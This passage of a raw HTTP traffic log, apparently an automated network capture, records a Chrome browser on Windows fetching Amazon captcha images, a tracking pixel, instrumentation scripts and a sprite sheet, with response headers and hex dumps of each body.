Server-Timing: provider;desc="cf" Timing-Allow-Origin: https://www.amazon.com X-Cache: Hit from cloudfront X-Amz-Cf-Pop: FRA56-P7 X-Amz-Cf-Id: wY3DslTbmEXg0NZ-SW-biCvrCen1jSCVA8yFsnifT3Fydloesx8npA==
2025-01-27 14:45:13 UTC	6105	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff db 00 43 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff c0 00 0b 08 00 46 00 c8 01 01 11 00 ff c4 00 1e 00 01 01 01 00 02 03 01 01 01 00 00 00 00 00 00 00 00 0a 09 08 0b 04 06 07 05 01 02 ff c4 00 29 10 00 01 04 03 00 02 02 02 02 02 03 01 00 00 00 00 05 02 03 04 06 01 07 08 00 09 0a 11 12 13 14 15 16 21 17 22 24 31 ff da 00 08 01 01 00 00 3f 00 bf 8f 1e 3c 78 f1 e7 c0 fa 2b a9 39 eb 92 b5 e9 1d a7 d2 1b 7a 8f a7 e8 c3 1a 79 c7 0d 5d 0e 44 17 fc d7 19 6f 2e 66 10 78 0b 5a 88 9b 22 bc 63 18 68 78 98 93 26 38 a5 27 09 67 3f 78 f2 46 3a a3 e5 ce 8b Data Ascii: JFIFHHCF)!"$1?<x+9zy]Do.fxZ"chx&8'g?xF:

Timestamp	Bytes transferred	Direction	Data
2025-01-27 14:45:14 UTC	394	OUT	GET /captcha/docvmtpr/Captcha_zqhwgudfzb.jpg HTTP/1.1 Host: images-na.ssl-images-amazon.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-27 14:45:14 UTC	856	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Content-Length: 6105 Connection: close Server: Server X-Amz-Ir-Id: a57042f0-63b8-46b6-971e-c3d5ab7f1966 Last-Modified: Wed, 08 Feb 2012 17:15:15 GMT Access-Control-Allow-Origin: * Edge-Cache-Tag: x-cache-143,/captcha/docvmtpr/Captcha_zqhwgudfzb Surrogate-Key: x-cache-143 /captcha/docvmtpr/Captcha_zqhwgudfzb X-Nginx-Cache-Status: HIT Accept-Ranges: bytes Date: Mon, 27 Jan 2025 12:15:29 GMT Vary: Accept-Encoding Via: 1.1 32db37931b5639dc27ebaba3ad4f3d2c.cloudfront.net (CloudFront) Alt-Svc: h3=":443"; ma=86400 Age: 9258 Accept-Ch: Sec-CH-UA-Form-Factors, Sec-CH-Viewport-Width, Sec-CH-Width, Sec-CH-Viewport-Height, Sec-CH-DPR, ECT Server-Timing: provider;desc="cf" X-Cache: Hit from cloudfront X-Amz-Cf-Pop: FRA60-P4 X-Amz-Cf-Id: T0oH3q2NAKGTBrCO7ZOnq17liqRA4Cog7UpUSQpCypWxq51loGIVWg==
2025-01-27 14:45:14 UTC	6105	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff db 00 43 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff c0 00 0b 08 00 46 00 c8 01 01 11 00 ff c4 00 1e 00 01 01 01 00 02 03 01 01 01 00 00 00 00 00 00 00 00 0a 09 08 0b 04 06 07 05 01 02 ff c4 00 29 10 00 01 04 03 00 02 02 02 02 02 03 01 00 00 00 00 05 02 03 04 06 01 07 08 00 09 0a 11 12 13 14 15 16 21 17 22 24 31 ff da 00 08 01 01 00 00 3f 00 bf 8f 1e 3c 78 f1 e7 c0 fa 2b a9 39 eb 92 b5 e9 1d a7 d2 1b 7a 8f a7 e8 c3 1a 79 c7 0d 5d 0e 44 17 fc d7 19 6f 2e 66 10 78 0b 5a 88 9b 22 bc 63 18 68 78 98 93 26 38 a5 27 09 67 3f 78 f2 46 3a a3 e5 ce 8b Data Ascii: JFIFHHCF)!"$1?<x+9zy]Do.fxZ"chx&8'g?xF:

Timestamp	Bytes transferred	Direction	Data
2025-01-27 14:45:14 UTC	623	OUT	GET /1/oc-csi/1/OP/requestId=FX8PKVREDAYJTT4H6MBJ&js=1 HTTP/1.1 Host: fls-na.amazon.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.amazon.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-27 14:45:14 UTC	176	IN	HTTP/1.1 200 OK Date: Mon, 27 Jan 2025 14:45:14 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amzn-RequestId: 120319ae-3bf8-4e0c-b09d-811f998fe51f
2025-01-27 14:45:14 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Timestamp	Bytes transferred	Direction	Data
2025-01-27 14:45:14 UTC	594	OUT	GET /images/G/01/csminstrumentation/csm-captcha-instrumentation.min.js HTTP/1.1 Host: images-na.ssl-images-amazon.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.amazon.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-27 14:45:14 UTC	1207	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript Content-Length: 1787 Connection: close Server: Server X-Amz-Ir-Id: c7827ad0-89de-4739-9a4c-c59804ec2e3a Last-Modified: Mon, 12 Oct 2015 09:22:39 GMT Access-Control-Allow-Origin: * Timing-Allow-Origin: https://www.amazon.com Edge-Cache-Tag: x-cache-450,/images/G/01/csminstrumentation/csm-captcha-instrumentation.min Surrogate-Key: x-cache-450 /images/G/01/csminstrumentation/csm-captcha-instrumentation.min X-Nginx-Cache-Status: HIT Accept-Ranges: bytes Date: Mon, 27 Jan 2025 07:01:26 GMT Cache-Control: max-age=86400,public Expires: Mon, 27 Jan 2025 13:40:12 GMT Vary: Accept-Encoding Via: 1.1 fde85e7daa13f95cf6b8f5fa09c62ef6.cloudfront.net (CloudFront) Alt-Svc: h3=":443"; ma=86400 Age: 30061 Server-Timing: cdn-cache-hit,cdn-pop;desc="FRA56-P7",cdn-rid;desc="FshAQDqXHONvtLCqgjcMksMrdBn6jWP43zOrBYVwT4qLsarVzP3qTA==",cdn-hit-layer;desc="REC",cdn-downstream-fbl;dur=5,provider;desc="cf" Accept-Ch: Sec-CH-UA-Form-Factors, Sec-CH-Viewport-Width, Sec-CH-Width, Sec-CH-Viewport-Height, Sec-CH-DPR, ECT X-Cache: Hit from cloudfront X-Amz-Cf-Pop: FRA56-P7 X-Amz-Cf-Id: FshAQDqXHONvtLCqgjcMksMrdBn6jWP43zOrBYVwT4qLsarVzP3qTA==
2025-01-27 14:45:14 UTC	1787	IN	Data Raw: 76 61 72 20 75 65 5f 6d 6f 64 75 6c 65 73 3d 5b 22 6c 61 74 65 6e 63 79 22 5d 2c 63 65 6c 5f 77 69 64 67 65 74 73 3d 5b 7b 63 3a 22 63 65 6c 77 69 64 67 65 74 22 7d 5d 2c 75 65 5f 63 65 6c 5f 6e 73 3d 22 6f 70 66 63 73 6d 2d 69 22 2c 75 65 5f 73 6b 63 3d 30 2c 75 65 5f 65 72 72 3d 7b 73 74 61 72 74 54 69 6d 65 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 7d 3b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 26 26 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 26 26 2d 31 21 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 69 6e 64 65 78 4f 66 28 22 2f 2f 77 77 77 2e 61 6d 61 7a 6f 6e 2e 66 72 22 29 26 26 28 75 65 5f 6d 69 64 3d 22 41 31 33 56 31 49 42 33 56 49 59 5a 5a 48 22 29 3b 0a 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 76 61 72 Data Ascii: var ue_modules=["latency"],cel_widgets=[{c:"celwidget"}],ue_cel_ns="opfcsm-i",ue_skc=0,ue_err={startTimer:function(){}};window.location&&window.location.href&&-1!=window.location.href.indexOf("//www.amazon.fr")&&(ue_mid="A13V1IB3VIYZZH");(function(c){var

Timestamp	Bytes transferred	Direction	Data
2025-01-27 14:45:14 UTC	605	OUT	GET /images/G/01/csminstrumentation/rd-script-6d68177fa6061598e9509dc4b5bdd08d.js HTTP/1.1 Host: images-na.ssl-images-amazon.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.amazon.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-27 14:45:15 UTC	1069	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript Content-Length: 1829 Connection: close Server: Server X-Amz-Ir-Id: d8c2caa3-48db-4f95-a5c7-519f5c5d750a Last-Modified: Fri, 20 Mar 2020 12:31:03 GMT Access-Control-Allow-Origin: * Timing-Allow-Origin: https://www.amazon.com Edge-Cache-Tag: x-cache-151,/images/G/01/csminstrumentation/rd-script-6d68177fa6061598e9509dc4b5bdd08d Surrogate-Key: x-cache-151 /images/G/01/csminstrumentation/rd-script-6d68177fa6061598e9509dc4b5bdd08d X-Nginx-Cache-Status: HIT Accept-Ranges: bytes Date: Mon, 27 Jan 2025 07:01:26 GMT Cache-Control: max-age=86400,public Expires: Thu, 12 Dec 2024 05:26:12 GMT Vary: Accept-Encoding Via: 1.1 f3d57c6f1e03e389abd50b7f7535cee4.cloudfront.net (CloudFront) Alt-Svc: h3=":443"; ma=86400 Age: 29864 Accept-Ch: Sec-CH-UA-Form-Factors, Sec-CH-Viewport-Width, Sec-CH-Width, Sec-CH-Viewport-Height, Sec-CH-DPR, ECT Server-Timing: provider;desc="cf" X-Cache: Hit from cloudfront X-Amz-Cf-Pop: FRA56-P7 X-Amz-Cf-Id: oWl1kOpo3eoQtWxTYXIi_sY7MK8yCJOlFFiuG45iduUmDa36X-YsPQ==
2025-01-27 14:45:15 UTC	1829	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 61 2c 6b 2c 67 2c 68 29 7b 76 61 72 20 63 3d 7b 7d 2c 62 2c 6e 3d 6b 2e 70 6c 75 67 69 6e 73 2c 65 3d 6b 2e 6d 69 6d 65 54 79 70 65 73 2c 6d 3d 6b 2e 75 73 65 72 41 67 65 6e 74 2c 66 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2c 6a 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 6f 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 7d 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 22 45 72 72 6f 72 22 2c 70 3d 45 72 72 6f 72 2e 74 6f 53 74 72 69 6e 67 28 29 3b 72 65 74 75 72 6e 20 21 21 28 66 2e 62 69 6e 64 26 26 66 2e 62 69 6e 64 2e 74 6f 53 74 72 69 6e 67 28 29 2e 72 65 70 6c 61 63 65 28 2f 62 69 6e 64 2f 67 2c 6f 29 3d 3d 3d 70 26 26 66 2e 74 6f 53 74 72 69 6e 67 2e 74 6f Data Ascii: (function(a,k,g,h){var c={},b,n=k.plugins,e=k.mimeTypes,m=k.userAgent,f=Function.prototype,j=function(o){return typeof o!=="undefined"},d=function(){var o="Error",p=Error.toString();return !!(f.bind&&f.bind.toString().replace(/bind/g,o)===p&&f.toString.to

Timestamp	Bytes transferred	Direction	Data
2025-01-27 14:45:14 UTC	762	OUT	GET /images/G/01/amazonui/sprites/aui_sprite_0007-1x._V383827579_.png HTTP/1.1 Host: images-na.ssl-images-amazon.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://images-na.ssl-images-amazon.com/images/G/01/AUIClients/AmazonUI-3c913031596ca78a3768f4e934b1cc02ce238101.secure.min._V1_.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-27 14:45:15 UTC	966	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 16972 Connection: close Server: Server X-Amz-Ir-Id: 404c2843-6121-47d0-bd39-7343ec002b5c Date: Mon, 24 Jun 2024 07:11:25 GMT Cache-Control: max-age=630720000,public Last-Modified: Wed, 15 May 2013 01:55:34 GMT Access-Control-Allow-Origin: * Timing-Allow-Origin: https://www.amazon.com Edge-Cache-Tag: x-cache-164,/images/G/01/amazonui/sprites/aui_sprite_0007-1x Expires: Sun, 19 Jun 2044 07:11:25 GMT Surrogate-Key: x-cache-164 /images/G/01/amazonui/sprites/aui_sprite_0007-1x X-Nginx-Cache-Status: MISS Via: 1.1 a811170f30183becd909b501e545e756.cloudfront.net (CloudFront) Alt-Svc: h3=":443"; ma=86400 Age: 18776029 Accept-Ch: Sec-CH-UA-Form-Factors, Sec-CH-Viewport-Width, Sec-CH-Width, Sec-CH-Viewport-Height, Sec-CH-DPR, ECT Server-Timing: provider;desc="cf" X-Cache: Hit from cloudfront X-Amz-Cf-Pop: FRA56-P7 X-Amz-Cf-Id: G5-woi50C5EVLL8B11o9z8SfIFkyhBXN5d97oUL4Vkj1Hmin9gZ7lw==
2025-01-27 14:45:15 UTC	15418	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 90 00 00 02 58 08 03 00 00 00 7b 32 40 ba 00 00 00 03 73 42 49 54 08 08 08 db e1 4f e0 00 00 03 00 50 4c 54 45 ff ff ff e1 e3 e6 d6 d8 db fc 9b 18 f7 98 1b 99 99 99 45 a2 c6 c3 5d 04 55 55 55 30 39 42 33 33 33 23 2a 31 00 00 00 e1 e3 e6 ce d0 d3 df aa 00 fc 9b 18 99 99 99 c6 95 00 45 a2 c6 c6 88 00 46 4c 53 39 41 4a 00 00 00 e1 e3 e6 d6 d8 db fc 9b 18 f7 98 1b 99 99 99 c6 95 00 45 a2 c6 c6 88 00 e4 79 11 66 66 66 55 55 55 4b 52 5b 46 4c 53 39 41 4a 00 00 00 e1 e3 e6 df aa 00 fc 9b 18 99 99 99 45 a2 c6 66 66 66 4b 52 5b 33 33 33 00 00 00 d1 d3 d6 ea bf 00 99 99 99 45 a2 c6 69 6e 75 00 00 00 e1 e3 e6 d1 d3 d6 ce d0 d3 ff c4 00 f7 ae 00 df aa 00 f1 a4 00 df 97 00 99 99 99 45 a2 c6 64 6b 73 53 5b 63 46 Data Ascii: PNGIHDRX{2@sBITOPLTEE]UUU09B333#*1EFLS9AJEyfffUUUKR[FLS9AJEfffKR[333EinuEdksS[cF
2025-01-27 14:45:15 UTC	1554	IN	Data Raw: 9d f6 75 ce a9 8e 39 0b 9c d3 88 f4 f7 90 cb df c1 bf bf d7 69 ff 13 62 36 3f a1 d3 be ce 39 d5 31 67 81 73 1a 91 fe e9 37 47 7e 77 d3 ef 8e fc e6 9f 74 da bf 75 f7 ee ff f9 cc ff ec de 7d ab 4e fb 3a e7 54 c7 9c 05 ce 69 44 ba fd c8 f7 ff 46 f8 9b ef 1f b9 5d a7 fd db 76 7f e7 23 c2 47 be b3 fb 36 9d f6 75 ce a9 8e 39 0b 9c d3 88 f4 ad 7f c7 3a 76 ee bf 7f 4b a7 fd 7b ee c1 3a f5 ba 7b ee d1 69 5f ef 9c ea 97 b3 c0 39 8d 48 ff aa f3 fb 6d 3a bf eb 9f d3 db 0c cf 29 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 c5 4a 9f 33 36 e9 46 63 93 8c c9 b4 10 c3 eb f8 8b 03 1f 36 32 e9 43 dd 1f 32 32 c9 a8 eb f8 50 cc ae 43 f8 dc 81 cf 19 99 f4 a5 8e cf 1a 99 64 d4 75 7c 36 66 d7 21 fc e7 81 ff 34 32 e9 fe bd f7 1b 99 64 d4 75 dc 1f b3 eb f8 f3 03 07 0e fc b9 Data Ascii: u9ib6?91gs7G~wtu}N:TiDF]v#G6u9:vK{:{i_9Hm:)D"H$D"H$D"J36Fc62C22PCdu\|6f!42du

Timestamp	Bytes transferred	Direction	Data
2025-01-27 14:45:15 UTC	616	OUT	GET /images/G/01/csminstrumentation/ue-base-1c399ad9886cab69575e1e5ee15c61a1._V313498596_.js HTTP/1.1 Host: images-na.ssl-images-amazon.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.amazon.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-27 14:45:16 UTC	1072	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript Content-Length: 7210 Connection: close Server: Server X-Amz-Ir-Id: 54852007-44b6-4c89-a8fb-dfdc707ada3a Date: Sat, 25 May 2024 04:11:45 GMT Cache-Control: max-age=630720000,public Last-Modified: Wed, 26 Aug 2015 14:52:49 GMT Access-Control-Allow-Origin: * Timing-Allow-Origin: https://www.amazon.com Edge-Cache-Tag: x-cache-762,/images/G/01/csminstrumentation/ue-base-1c399ad9886cab69575e1e5ee15c61a1 Expires: Fri, 20 May 2044 04:11:45 GMT Surrogate-Key: x-cache-762 /images/G/01/csminstrumentation/ue-base-1c399ad9886cab69575e1e5ee15c61a1 X-Nginx-Cache-Status: HIT Accept-Ranges: bytes Vary: Accept-Encoding Via: 1.1 45144f4effc6db6c846de623ab8b639a.cloudfront.net (CloudFront) Alt-Svc: h3=":443"; ma=86400 Age: 11323811 Accept-Ch: Sec-CH-UA-Form-Factors, Sec-CH-Viewport-Width, Sec-CH-Width, Sec-CH-Viewport-Height, Sec-CH-DPR, ECT Server-Timing: provider;desc="cf" X-Cache: Hit from cloudfront X-Amz-Cf-Pop: FRA56-P7 X-Amz-Cf-Id: ukIPBK7uoNZgBiDWyphYVYpDX0P_OqjNokCmBUjVMlKx2Vm6zhpfWw==
2025-01-27 14:45:16 UTC	7210	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 63 2e 75 65 3d 63 2e 75 65 7c 7c 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 62 28 68 2c 6a 2c 69 29 7b 76 61 72 20 67 3d 22 3b 20 65 78 70 69 72 65 73 3d 22 2b 6e 65 77 20 44 61 74 65 28 2b 6e 65 77 20 44 61 74 65 2b 69 29 2e 74 6f 47 4d 54 53 74 72 69 6e 67 28 29 3b 64 2e 63 6f 6f 6b 69 65 3d 68 2b 22 3d 22 2b 6a 2b 67 2b 22 3b 20 70 61 74 68 3d 2f 22 7d 66 75 6e 63 74 69 6f 6e 20 61 28 67 29 7b 69 66 28 64 2e 63 6f 6f 6b 69 65 26 26 64 2e 63 6f 6f 6b 69 65 2e 73 70 6c 69 74 29 7b 76 61 72 20 6c 3d 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 2e 73 70 6c 69 74 28 22 3b 22 29 2c 6a 2c 6d 2c 6b 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 73 2a 22 2b 67 2b 22 3d 22 29 3b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 6c Data Ascii: (function(c,d){c.ue=c.ue\|\|{};function b(h,j,i){var g="; expires="+new Date(+new Date+i).toGMTString();d.cookie=h+"="+j+g+"; path=/"}function a(g){if(d.cookie&&d.cookie.split){var l=document.cookie.split(";"),j,m,k=new RegExp("^\\s*"+g+"=");for(var h=0;h<l